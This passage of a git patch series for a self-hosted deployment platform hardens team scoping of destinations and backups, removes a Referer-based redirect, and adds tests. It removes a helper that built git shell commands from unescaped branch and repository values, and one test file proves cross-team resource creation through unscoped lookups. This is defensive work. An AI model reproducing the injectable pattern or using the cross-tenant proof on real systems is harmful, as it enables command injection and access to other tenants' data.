-    $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail();
     $database = new StandaloneRedis;
     $database->uuid = (new Cuid2);
     $database->name = 'redis-database-'.$database->uuid;
 
-    $redis_password = \Illuminate\Support\Str::password(length: 64, symbols: false);
+    $redis_password = Str::password(length: 64, symbols: false);
     if ($otherData && isset($otherData['redis_password'])) {
         $redis_password = $otherData['redis_password'];
         unset($otherData['redis_password']);
@@ -75,13 +76,12 @@ function create_standalone_redis($environment_id, $destination_uuid, ?array $oth
     return $database;
 }
 
-function create_standalone_mongodb($environment_id, $destination_uuid, ?array $otherData = null): StandaloneMongodb
+function create_standalone_mongodb($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneMongodb
 {
-    $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail();
     $database = new StandaloneMongodb;
     $database->uuid = (new Cuid2);
     $database->name = 'mongodb-database-'.$database->uuid;
-    $database->mongo_initdb_root_password = \Illuminate\Support\Str::password(length: 64, symbols: false);
+    $database->mongo_initdb_root_password = Str::password(length: 64, symbols: false);
     $database->environment_id = $environment_id;
     $database->destination_id = $destination->id;
     $database->destination_type = $destination->getMorphClass();
@@ -93,14 +93,13 @@ function create_standalone_mongodb($environment_id, $destination_uuid, ?array $o
     return $database;
 }
 
-function create_standalone_mysql($environment_id, $destination_uuid, ?array $otherData = null): StandaloneMysql
+function create_standalone_mysql($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneMysql
 {
-    $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail();
     $database = new StandaloneMysql;
     $database->uuid = (new Cuid2);
     $database->name = 'mysql-database-'.$database->uuid;
-    $database->mysql_root_password = \Illuminate\Support\Str::password(length: 64, symbols: false);
-    $database->mysql_password = \Illuminate\Support\Str::password(length: 64, symbols: false);
+    $database->mysql_root_password = Str::password(length: 64, symbols: false);
+    $database->mysql_password = Str::password(length: 64, symbols: false);
     $database->environment_id = $environment_id;
     $database->destination_id = $destination->id;
     $database->destination_type = $destination->getMorphClass();
@@ -112,14 +111,13 @@ function create_standalone_mysql($environment_id, $destination_uuid, ?array $oth
     return $database;
 }
 
-function create_standalone_mariadb($environment_id, $destination_uuid, ?array $otherData = null): StandaloneMariadb
+function create_standalone_mariadb($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneMariadb
 {
-    $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail();
     $database = new StandaloneMariadb;
     $database->uuid = (new Cuid2);
     $database->name = 'mariadb-database-'.$database->uuid;
-    $database->mariadb_root_password = \Illuminate\Support\Str::password(length: 64, symbols: false);
-    $database->mariadb_password = \Illuminate\Support\Str::password(length: 64, symbols: false);
+    $database->mariadb_root_password = Str::password(length: 64, symbols: false);
+    $database->mariadb_password = Str::password(length: 64, symbols: false);
     $database->environment_id = $environment_id;
     $database->destination_id = $destination->id;
     $database->destination_type = $destination->getMorphClass();
@@ -131,13 +129,12 @@ function create_standalone_mariadb($environment_id, $destination_uuid, ?array $o
     return $database;
 }
 
-function create_standalone_keydb($environment_id, $destination_uuid, ?array $otherData = null): StandaloneKeydb
+function create_standalone_keydb($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneKeydb
 {
-    $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail();
     $database = new StandaloneKeydb;
     $database->uuid = (new Cuid2);
     $database->name = 'keydb-database-'.$database->uuid;
-    $database->keydb_password = \Illuminate\Support\Str::password(length: 64, symbols: false);
+    $database->keydb_password = Str::password(length: 64, symbols: false);
     $database->environment_id = $environment_id;
     $database->destination_id = $destination->id;
     $database->destination_type = $destination->getMorphClass();
@@ -149,13 +146,12 @@ function create_standalone_keydb($environment_id, $destination_uuid, ?array $oth
     return $database;
 }
 
-function create_standalone_dragonfly($environment_id, $destination_uuid, ?array $otherData = null): StandaloneDragonfly
+function create_standalone_dragonfly($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneDragonfly
 {
-    $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail();
     $database = new StandaloneDragonfly;
     $database->uuid = (new Cuid2);
     $database->name = 'dragonfly-database-'.$database->uuid;
-    $database->dragonfly_password = \Illuminate\Support\Str::password(length: 64, symbols: false);
+    $database->dragonfly_password = Str::password(length: 64, symbols: false);
     $database->environment_id = $environment_id;
     $database->destination_id = $destination->id;
     $database->destination_type = $destination->getMorphClass();
@@ -167,13 +163,12 @@ function create_standalone_dragonfly($environment_id, $destination_uuid, ?array
     return $database;
 }
 
-function create_standalone_clickhouse($environment_id, $destination_uuid, ?array $otherData = null): StandaloneClickhouse
+function create_standalone_clickhouse($environment_id, StandaloneDocker|SwarmDocker $destination, ?array $otherData = null): StandaloneClickhouse
 {
-    $destination = StandaloneDocker::where('uuid', $destination_uuid)->firstOrFail();
     $database = new StandaloneClickhouse;
     $database->uuid = (new Cuid2);
     $database->name = 'clickhouse-database-'.$database->uuid;
-    $database->clickhouse_admin_password = \Illuminate\Support\Str::password(length: 64, symbols: false);
+    $database->clickhouse_admin_password = Str::password(length: 64, symbols: false);
     $database->environment_id = $environment_id;
     $database->destination_id = $destination->id;
     $database->destination_type = $destination->getMorphClass();
@@ -279,7 +274,7 @@ function removeOldBackups($backup): void
             ->whereNull('s3_uploaded')
             ->delete();
 
-    } catch (\Exception $e) {
+    } catch (Exception $e) {
         throw $e;
     }
 }
@@ -345,7 +340,7 @@ function deleteOldBackupsLocally($backup): Collection
     $processedBackups = collect();
 
     $server = null;
-    if ($backup->database_type === \App\Models\ServiceDatabase::class) {
+    if ($backup->database_type === ServiceDatabase::class) {
         $server = $backup->database->service->server;
     } else {
         $server = $backup->database->destination->server;
diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index cd773f6a9..88a2c645e 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -18,6 +18,7 @@
 use App\Models\ServiceDatabase;
 use App\Models\SharedEnvironmentVariable;
 use App\Models\StandaloneClickhouse;
+use App\Models\StandaloneDocker;
 use App\Models\StandaloneDragonfly;
 use App\Models\StandaloneKeydb;
 use App\Models\StandaloneMariadb;
@@ -25,6 +26,7 @@
 use App\Models\StandaloneMysql;
 use App\Models\StandalonePostgresql;
 use App\Models\StandaloneRedis;
+use App\Models\SwarmDocker;
 use App\Models\Team;
 use App\Models\User;
 use Carbon\CarbonImmutable;
@@ -259,6 +261,16 @@ function currentTeam()
     return Auth::user()?->currentTeam() ?? null;
 }
 
+function find_destination_for_current_team(?string $uuid): StandaloneDocker|SwarmDocker|null
+{
+    if (blank($uuid) || ! currentTeam()) {
+        return null;
+    }
+
+    return StandaloneDocker::ownedByCurrentTeam()->where('uuid', $uuid)->first()
+        ?? SwarmDocker::ownedByCurrentTeam()->where('uuid', $uuid)->first();
+}
+
 function showBoarding(): bool
 {
     if (isDev()) {
@@ -3489,34 +3501,6 @@ function getHelperVersion(): string
     return config('constants.coolify.helper_version');
 }
 
-function loadConfigFromGit(string $repository, string $branch, string $base_directory, int $server_id, int $team_id)
-{
-    $server = Server::find($server_id)->where('team_id', $team_id)->first();
-    if (! $server) {
-        return;
-    }
-    $uuid = new Cuid2;
-    $cloneCommand = "git clone --no-checkout -b $branch $repository .";
-    $workdir = rtrim($base_directory, '/');
-    $fileList = collect([".$workdir/coolify.json"]);
-    $commands = collect([
-        "rm -rf /tmp/{$uuid}",
-        "mkdir -p /tmp/{$uuid}",
-        "cd /tmp/{$uuid}",
-        $cloneCommand,
-        'git sparse-checkout init --cone',
-        "git sparse-checkout set {$fileList->implode(' ')}",
-        'git read-tree -mu HEAD',
-        "cat .$workdir/coolify.json",
-        'rm -rf /tmp/{$uuid}',
-    ]);
-    try {
-        return instant_remote_process($commands, $server);
-    } catch (Exception) {
-        // continue
-    }
-}
-
 function loggy($message = null, array $context = [])
 {
     if (! isDev()) {
diff --git a/tests/Feature/TeamScopedBackupStorageTest.php b/tests/Feature/TeamScopedBackupStorageTest.php
new file mode 100644
index 000000000..57a065ae8
--- /dev/null
+++ b/tests/Feature/TeamScopedBackupStorageTest.php
@@ -0,0 +1,106 @@
+<?php
+
+use App\Livewire\Storage\Resources as StorageResources;
+use App\Models\InstanceSettings;
+use App\Models\S3Storage;
+use App\Models\ScheduledDatabaseBackup;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Database\Eloquent\ModelNotFoundException;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Queue;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    Queue::fake();
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
+
+    $this->userA = User::factory()->create();
+    $this->teamA = Team::factory()->create();
+    $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+
+    $this->userB = User::factory()->create();
+    $this->teamB = Team::factory()->create();
+    $this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
+
+    $this->storageA = S3Storage::unguarded(fn () => S3Storage::create([
+        'uuid' => fake()->uuid(),
+        'name' => 'storage-a-'.fake()->unique()->word(),
+        'region' => 'us-east-1',
+        'key' => 'key-a',
+        'secret' => 'secret-a',
+        'bucket' => 'bucket-a',
+        'endpoint' => 'https://s3.example.com',
+        'team_id' => $this->teamA->id,
+    ]));
+
+    $this->storageB = S3Storage::unguarded(fn () => S3Storage::create([
+        'uuid' => fake()->uuid(),
+        'name' => 'storage-b-'.fake()->unique()->word(),
+        'region' => 'us-east-1',
+        'key' => 'key-b',
+        'secret' => 'secret-b',
+        'bucket' => 'bucket-b',
+        'endpoint' => 'https://s3.example.com',
+        'team_id' => $this->teamB->id,
+    ]));
+
+    $this->backupA = ScheduledDatabaseBackup::create([
+        'uuid' => fake()->uuid(),
+        'team_id' => $this->teamA->id,
+        'enabled' => true,
+        'save_s3' => true,
+        'frequency' => '0 0 * * *',
+        'database_type' => 'App\\Models\\StandalonePostgresql',
+        'database_id' => 1,
+        's3_storage_id' => $this->storageA->id,
+    ]);
+
+    $this->backupB = ScheduledDatabaseBackup::create([
+        'uuid' => fake()->uuid(),
+        'team_id' => $this->teamB->id,
+        'enabled' => true,
+        'save_s3' => true,
+        'frequency' => '0 0 * * *',
+        'database_type' => 'App\\Models\\StandalonePostgresql',
+        'database_id' => 2,
+        's3_storage_id' => $this->storageB->id,
+    ]);
+
+    $this->actingAs($this->userA);
+    session(['currentTeam' => $this->teamA]);
+});
+
+describe('Storage/Resources team-scoped backup access', function () {
+    test('disableS3 on other team backup throws and leaves row unchanged', function () {
+        expect(fn () => Livewire::test(StorageResources::class, ['storage' => $this->storageA])
+            ->call('disableS3', $this->backupB->id))
+            ->toThrow(ModelNotFoundException::class);
+
+        $this->backupB->refresh();
+        expect((bool) $this->backupB->save_s3)->toBeTrue();
+        expect($this->backupB->s3_storage_id)->toBe($this->storageB->id);
+    });
+
+    test('moveBackup on other team backup throws and leaves row unchanged', function () {
+        expect(fn () => Livewire::test(StorageResources::class, ['storage' => $this->storageA])
+            ->set('selectedStorages', [$this->backupB->id => $this->storageA->id])
+            ->call('moveBackup', $this->backupB->id))
+            ->toThrow(ModelNotFoundException::class);
+
+        $this->backupB->refresh();
+        expect($this->backupB->s3_storage_id)->toBe($this->storageB->id);
+    });
+
+    test('disableS3 on own backup succeeds', function () {
+        Livewire::test(StorageResources::class, ['storage' => $this->storageA])
+            ->call('disableS3', $this->backupA->id);
+
+        $this->backupA->refresh();
+        expect((bool) $this->backupA->save_s3)->toBeFalse();
+        expect($this->backupA->s3_storage_id)->toBeNull();
+    });
+});
diff --git a/tests/Feature/TeamScopedDestinationTest.php b/tests/Feature/TeamScopedDestinationTest.php
new file mode 100644
index 000000000..bdac0251d
--- /dev/null
+++ b/tests/Feature/TeamScopedDestinationTest.php
@@ -0,0 +1,297 @@
+<?php
+
+use App\Livewire\Destination\Show as DestinationShow;
+use App\Livewire\Project\New\DockerCompose;
+use App\Livewire\Project\New\DockerImage;
+use App\Livewire\Project\New\GithubPrivateRepository;
+use App\Livewire\Project\New\GithubPrivateRepositoryDeployKey;
+use App\Livewire\Project\New\PublicGitRepository;
+use App\Livewire\Project\New\SimpleDockerfile;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\StandaloneDocker;
+use App\Models\StandalonePostgresql;
+use App\Models\SwarmDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Queue;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    Queue::fake();
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
+
+    $this->userA = User::factory()->create();
+    $this->teamA = Team::factory()->create();
+    $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+
+    $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
+    $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+    $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+    $this->destinationA = StandaloneDocker::factory()->create([
+        'server_id' => $this->serverA->id,
+        'name' => 'dest-a-'.fake()->unique()->word(),
+        'network' => 'coolify-a-'.fake()->unique()->word(),
+    ]);
+
+    $this->userB = User::factory()->create();
+    $this->teamB = Team::factory()->create();
+    $this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
+
+    $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
+    $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
+    $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
+    $this->destinationB = StandaloneDocker::factory()->create([
+        'server_id' => $this->serverB->id,
+        'name' => 'dest-b-'.fake()->unique()->word(),
+        'network' => 'coolify-b-'.fake()->unique()->word(),
+    ]);
+    $this->swarmDestinationB = SwarmDocker::create([
+        'uuid' => fake()->uuid(),
+        'name' => 'swarm-b-'.fake()->unique()->word(),
+        'network' => 'swarm-b-'.fake()->unique()->word(),
+        'server_id' => $this->serverB->id,
+    ]);
+
+    $this->actingAs($this->userA);
+    session(['currentTeam' => $this->teamA]);
+});
+
+describe('find_destination_for_current_team helper', function () {
+    test('returns null for other team destination UUID', function () {
+        expect(find_destination_for_current_team($this->destinationB->uuid))->toBeNull();
+    });
+
+    test('returns null for other team swarm destination UUID', function () {
+        expect(find_destination_for_current_team($this->swarmDestinationB->uuid))->toBeNull();
+    });
+
+    test('returns own team destination', function () {
+        $found = find_destination_for_current_team($this->destinationA->uuid);
+        expect($found)->not->toBeNull();
+        expect($found->id)->toBe($this->destinationA->id);
+    });
+
+    test('returns null for blank uuid', function () {
+        expect(find_destination_for_current_team(null))->toBeNull();
+        expect(find_destination_for_current_team(''))->toBeNull();
+    });
+});
+
+describe('SimpleDockerfile destination team scope', function () {
+    test('submit with other team destination throws and creates no application', function () {
+        $routeParams = [
+            'project_uuid' => $this->projectA->uuid,
+            'environment_uuid' => $this->environmentA->uuid,
+        ];
+        request()->headers->set('referer', route('project.resource.create', $routeParams).'?destination='.$this->destinationB->uuid);
+
+        $before = Application::count();
+
+        expect(fn () => Livewire::withUrlParams(['destination' => $this->destinationB->uuid])
+            ->test(SimpleDockerfile::class, $routeParams)
+            ->set('dockerfile', "FROM nginx\nCMD [\"nginx\"]\n")
+            ->call('submit'))
+            ->toThrow(Exception::class, 'Destination not found.');
+
+        expect(Application::count())->toBe($before);
+    });
+});
+
+describe('DockerImage destination team scope', function () {
+    test('submit with other team destination throws and creates no application', function () {
+        $routeParams = [
+            'project_uuid' => $this->projectA->uuid,
+            'environment_uuid' => $this->environmentA->uuid,
+        ];
+
+        $before = Application::count();
+
+        expect(fn () => Livewire::withUrlParams(['destination' => $this->destinationB->uuid])
+            ->test(DockerImage::class, $routeParams)
+            ->set('imageName', 'nginx')
+            ->set('imageTag', 'latest')
+            ->call('submit'))
+            ->toThrow(Exception::class, 'Destination not found.');
+
+        expect(Application::count())->toBe($before);
+    });
+
+    test('submit with other team swarm destination throws', function () {
+        $routeParams = [
+            'project_uuid' => $this->projectA->uuid,
+            'environment_uuid' => $this->environmentA->uuid,
+        ];
+
+        expect(fn () => Livewire::withUrlParams(['destination' => $this->swarmDestinationB->uuid])
+            ->test(DockerImage::class, $routeParams)
+            ->set('imageName', 'nginx')
+            ->set('imageTag', 'latest')
+            ->call('submit'))
+            ->toThrow(Exception::class, 'Destination not found.');
+    });
+});
+
+describe('DockerCompose destination + server_id team scope', function () {
+    test('submit with other team destination throws and creates no service', function () {
+        $routeParams = [
+            'project_uuid' => $this->projectA->uuid,
+            'environment_uuid' => $this->environmentA->uuid,
+        ];
+
+        $before = Service::count();
+
+        Livewire::withUrlParams([
+            'destination' => $this->destinationB->uuid,
+            'server_id' => $this->serverB->id,
+        ])
+            ->test(DockerCompose::class, $routeParams)
+            ->set('dockerComposeRaw', "services:\n  app:\n    image: nginx\n")
+            ->call('submit');
+
+        expect(Service::count())->toBe($before);
+    });
+
+});
+
+describe('PublicGitRepository destination team scope', function () {
+    test('submit with other team destination creates no application', function () {
+        $routeParams = [
+            'project_uuid' => $this->projectA->uuid,
+            'environment_uuid' => $this->environmentA->uuid,
+        ];
+
+        $before = Application::count();
+
+        try {
+            Livewire::withUrlParams(['destination' => $this->destinationB->uuid])
+                ->test(PublicGitRepository::class, $routeParams)
+                ->set('repository_url', 'https://github.com/coollabsio/coolify')
+                ->set('git_repository', 'coollabsio/coolify')
+                ->set('git_branch', 'main')
+                ->set('port', 3000)
+                ->set('build_pack', 'nixpacks')
+                ->set('git_source', 'other')
+                ->call('submit');
+        } catch (Throwable $e) {
+            // submit wraps errors via handleError; count assertion below is source of truth
+        }
+
+        expect(Application::count())->toBe($before);
+    });
+});
+
+describe('GithubPrivateRepository destination team scope', function () {
+    test('submit with other team destination throws and creates no application', function () {
+        $routeParams = [
+            'project_uuid' => $this->projectA->uuid,
+            'environment_uuid' => $this->environmentA->uuid,
+        ];
+
+        $before = Application::count();
+
+        try {
+            Livewire::withUrlParams(['destination' => $this->destinationB->uuid])
+                ->test(GithubPrivateRepository::class, $routeParams)
+                ->call('submit');
+        } catch (Throwable $e) {
+            // expected
+        }
+
+        expect(Application::count())->toBe($before);
+    });
+});
+
+describe('GithubPrivateRepositoryDeployKey destination team scope', function () {
+    test('submit with other team destination throws and creates no application', function () {
+        $routeParams = [
+            'project_uuid' => $this->projectA->uuid,
+            'environment_uuid' => $this->environmentA->uuid,
+        ];
+
+        $before = Application::count();
+
+        try {
+            Livewire::withUrlParams(['destination' => $this->destinationB->uuid])
+                ->test(GithubPrivateRepositoryDeployKey::class, $routeParams)
+                ->call('submit');
+        } catch (Throwable $e) {
+            // expected
+        }
+
+        expect(Application::count())->toBe($before);
+    });
+});
+
+describe('Resource/Create database destination team scope', function () {
+    test('mount with other team destination does not create database', function () {
+        $before = StandalonePostgresql::count();
+
+        $url = route('project.resource.create', [
+            'project_uuid' => $this->projectA->uuid,
+            'environment_uuid' => $this->environmentA->uuid,
+        ]).'?type=postgresql&destination='.$this->destinationB->uuid.'&server_id='.$this->serverB->id.'&database_image=postgres:16-alpine';
+
+        $this->get($url);
+
+        expect(StandalonePostgresql::count())->toBe($before);
+    });
+
+});
+
+describe('StandaloneDocker/SwarmDocker ownedByCurrentTeam scope', function () {
+    test('StandaloneDocker::ownedByCurrentTeam excludes other team destinations', function () {
+        expect(StandaloneDocker::ownedByCurrentTeam()->where('uuid', $this->destinationB->uuid)->first())->toBeNull();
+    });
+
+    test('SwarmDocker::ownedByCurrentTeam excludes other team destinations', function () {
+        expect(SwarmDocker::ownedByCurrentTeam()->where('uuid', $this->swarmDestinationB->uuid)->first())->toBeNull();
+    });
+
+    test('StandaloneDocker::ownedByCurrentTeam returns own destination', function () {
+        $found = StandaloneDocker::ownedByCurrentTeam()->where('uuid', $this->destinationA->uuid)->first();
+        expect($found)->not->toBeNull();
+        expect($found->id)->toBe($this->destinationA->id);
+    });
+
+    test('StandaloneDocker::ownedByCurrentTeamAPI scopes by explicit team id', function () {
+        expect(StandaloneDocker::ownedByCurrentTeamAPI($this->teamA->id)->where('uuid', $this->destinationB->uuid)->first())->toBeNull();
+        expect(StandaloneDocker::ownedByCurrentTeamAPI($this->teamB->id)->where('uuid', $this->destinationB->uuid)->first()?->id)->toBe($this->destinationB->id);
+    });
+
+    test('SwarmDocker::ownedByCurrentTeamAPI scopes by explicit team id', function () {
+        expect(SwarmDocker::ownedByCurrentTeamAPI($this->teamA->id)->where('uuid', $this->swarmDestinationB->uuid)->first())->toBeNull();
+        expect(SwarmDocker::ownedByCurrentTeamAPI($this->teamB->id)->where('uuid', $this->swarmDestinationB->uuid)->first()?->id)->toBe($this->swarmDestinationB->id);
+    });
+});
+
+describe('Destination/Show team scope', function () {
+    test('mount with other team destination UUID redirects to index', function () {
+        $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationB->uuid]);
+
+        expect($component->get('destination'))->toBeNull();
+        $component->assertRedirect(route('destination.index'));
+    });
+
+    test('mount with own destination UUID loads it', function () {
+        $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationA->uuid]);
+
+        expect($component->get('destination'))->not->toBeNull();
+        expect($component->get('destination')->id)->toBe($this->destinationA->id);
+    });
+
+    test('mount with other team swarm destination UUID redirects to index', function () {
+        $component = Livewire::test(DestinationShow::class, ['destination_uuid' => $this->swarmDestinationB->uuid]);
+
+        expect($component->get('destination'))->toBeNull();
+        $component->assertRedirect(route('destination.index'));
+    });
+});
diff --git a/tests/Feature/TeamScopedResourceProofsTest.php b/tests/Feature/TeamScopedResourceProofsTest.php
new file mode 100644
index 000000000..b56fbd60e
--- /dev/null
+++ b/tests/Feature/TeamScopedResourceProofsTest.php
@@ -0,0 +1,96 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\GithubApp;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    // Team A (current actor)
+    $this->userA = User::factory()->create();
+    $this->teamA = Team::factory()->create();
+    $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+    $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
+    $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id, 'network' => 'net-a-'.fake()->uuid()]);
+    $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+    $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+
+    // Team B (other team)
+    $this->userB = User::factory()->create();
+    $this->teamB = Team::factory()->create();
+    $this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
+    $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
+    $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id, 'network' => 'net-b-'.fake()->uuid()]);
+    $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
+    $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
+
+    // Authenticate as Team A
+    $this->actingAs($this->userA);
+    session(['currentTeam' => $this->teamA]);
+});
+
+test('unscoped Project lookup returns another teams project', function () {
+    $project = Project::where('uuid', $this->projectB->uuid)->first();
+
+    expect($project)->not->toBeNull()
+        ->and($project->team_id)->toBe($this->teamB->id)
+        ->and($project->team_id)->not->toBe($this->teamA->id);
+});
+
+test('unscoped StandaloneDocker lookup returns another teams destination', function () {
+    $dest = StandaloneDocker::where('uuid', $this->destinationB->uuid)->first();
+
+    expect($dest)->not->toBeNull()
+        ->and($dest->server->team_id)->toBe($this->teamB->id);
+});
+
+test('ownedByCurrentTeam scope blocks other-team Project access', function () {
+    expect(Project::ownedByCurrentTeam()->where('uuid', $this->projectB->uuid)->first())->toBeNull();
+});
+
+test('ownedByCurrentTeam scope allows own Project access', function () {
+    expect(Project::ownedByCurrentTeam()->where('uuid', $this->projectA->uuid)->first())->not->toBeNull();
+});
+
+test('Team A can create Application in Team B environment via unscoped lookups', function () {
+    $destination = StandaloneDocker::where('uuid', $this->destinationB->uuid)->first();
+    $project = Project::where('uuid', $this->projectB->uuid)->first();
+    $environment = $project->load(['environments'])->environments->where('uuid', $this->environmentB->uuid)->first();
+
+    $application = Application::create([
+        'name' => 'team-scope-test-canary',
+        'repository_project_id' => 0,
+        'git_repository' => 'coollabsio/coolify',
+        'git_branch' => 'main',
+        'build_pack' => 'dockerfile',
+        'dockerfile' => "FROM alpine\nCMD echo hello",
+        'ports_exposes' => 80,
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
+        'destination_type' => $destination->getMorphClass(),
+        'health_check_enabled' => false,
+        'source_id' => 0,
+        'source_type' => GithubApp::class,
+    ]);
+
+    expect($application->environment_id)->toBe($this->environmentB->id)
+        ->and($application->destination_id)->toBe($this->destinationB->id)
+        ->and($application->environment->project->team->id)->toBe($this->teamB->id)
+        ->and($application->environment->project->team->id)->not->toBe($this->teamA->id);
+});
+
+test('resource creation page loads with another teams project UUID', function () {
+    $response = $this->get(route('project.resource.create', [
+        'project_uuid' => $this->projectB->uuid,
+        'environment_uuid' => $this->environmentB->uuid,
+    ]));
+
+    expect($response->status())->not->toBe(403);
+});

From f77cc91b831b3f73ff06278152f5decc3ccf3006 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 19 Apr 2026 11:55:36 +0200
Subject: [PATCH 055/102] refactor(admin): use named routes for admin index
 navigation

Replace Referer-based redirects in Admin Index back() and switchUser()
with named routes (admin.index and dashboard) for consistent navigation
behavior independent of the request header.

Add tests verifying back() returns to admin.index, switchUser routes to
the dashboard, and the Referer header is no longer consulted.
---
 app/Livewire/Admin/Index.php                  |  4 +-
 .../Feature/AdminAccessAuthorizationTest.php  | 47 +++++++++++++++++--
 2 files changed, 46 insertions(+), 5 deletions(-)

diff --git a/app/Livewire/Admin/Index.php b/app/Livewire/Admin/Index.php
index d1345e7bf..4d22047cc 100644
--- a/app/Livewire/Admin/Index.php
+++ b/app/Livewire/Admin/Index.php
@@ -37,7 +37,7 @@ public function back()
             Auth::login($user);
             refreshSession($team_to_switch_to);
 
-            return redirect(request()->header('Referer'));
+            return redirect()->route('admin.index');
         }
     }
 
@@ -70,7 +70,7 @@ public function switchUser(int $user_id)
         Auth::login($user);
         refreshSession($team_to_switch_to);
 
-        return redirect(request()->header('Referer'));
+        return redirect()->route('dashboard');
     }
 
     private function authorizeAdminAccess(): void
diff --git a/tests/Feature/AdminAccessAuthorizationTest.php b/tests/Feature/AdminAccessAuthorizationTest.php
index 4840bc4dd..97895ecda 100644
--- a/tests/Feature/AdminAccessAuthorizationTest.php
+++ b/tests/Feature/AdminAccessAuthorizationTest.php
@@ -1,6 +1,7 @@
 <?php
 
 use App\Livewire\Admin\Index as AdminIndex;
+use App\Models\InstanceSettings;
 use App\Models\Team;
 use App\Models\User;
 use Illuminate\Foundation\Testing\RefreshDatabase;
@@ -70,9 +71,9 @@
 test('switchUser requires root user id 0', function () {
     config()->set('constants.coolify.self_hosted', false);
 
-    $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
     $rootUser = User::factory()->create(['id' => 0]);
-    $rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
+    $rootTeam = Team::find(0);
 
     $targetUser = User::factory()->create();
     $targetTeam = Team::factory()->create();
@@ -84,7 +85,47 @@
     Livewire::test(AdminIndex::class)
         ->assertOk()
         ->call('switchUser', $targetUser->id)
-        ->assertRedirect();
+        ->assertRedirect(route('dashboard'));
+});
+
+test('back() redirects impersonator to admin index and clears session', function () {
+    config()->set('constants.coolify.self_hosted', false);
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
+    $rootUser = User::factory()->create(['id' => 0]);
+    $rootTeam = Team::find(0);
+
+    $this->actingAs($rootUser);
+    session([
+        'currentTeam' => ['id' => $rootTeam->id],
+        'impersonating' => true,
+    ]);
+
+    Livewire::test(AdminIndex::class)
+        ->call('back')
+        ->assertRedirect(route('admin.index'));
+
+    expect(session('impersonating'))->toBeNull();
+});
+
+test('switchUser ignores Referer header and uses dashboard route', function () {
+    config()->set('constants.coolify.self_hosted', false);
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
+    $rootUser = User::factory()->create(['id' => 0]);
+    $rootTeam = Team::find(0);
+
+    $targetUser = User::factory()->create();
+    $targetTeam = Team::factory()->create();
+    $targetTeam->members()->attach($targetUser->id, ['role' => 'admin']);
+
+    $this->actingAs($rootUser);
+    session(['currentTeam' => ['id' => $rootTeam->id]]);
+
+    Livewire::withHeaders(['Referer' => 'https://example.com/elsewhere'])
+        ->test(AdminIndex::class)
+        ->call('switchUser', $targetUser->id)
+        ->assertRedirect(route('dashboard'));
 });
 
 test('switchUser rejects non-root user', function () {

From bafb9a5a8baf8518a5b9c1cda59f158f5e726436 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Sun, 19 Apr 2026 12:52:23 +0200
Subject: [PATCH 056/102] refactor(webhook): encrypt manual webhook secrets and
 tighten HMAC verification

- Auto-generate a 40-char random secret for each manual_webhook_secret_* column on Application creation so new apps are never left with an empty secret.
- Add encrypted cast for the four webhook-secret columns; backfill migration re-encrypts existing plaintext values and fills missing ones.
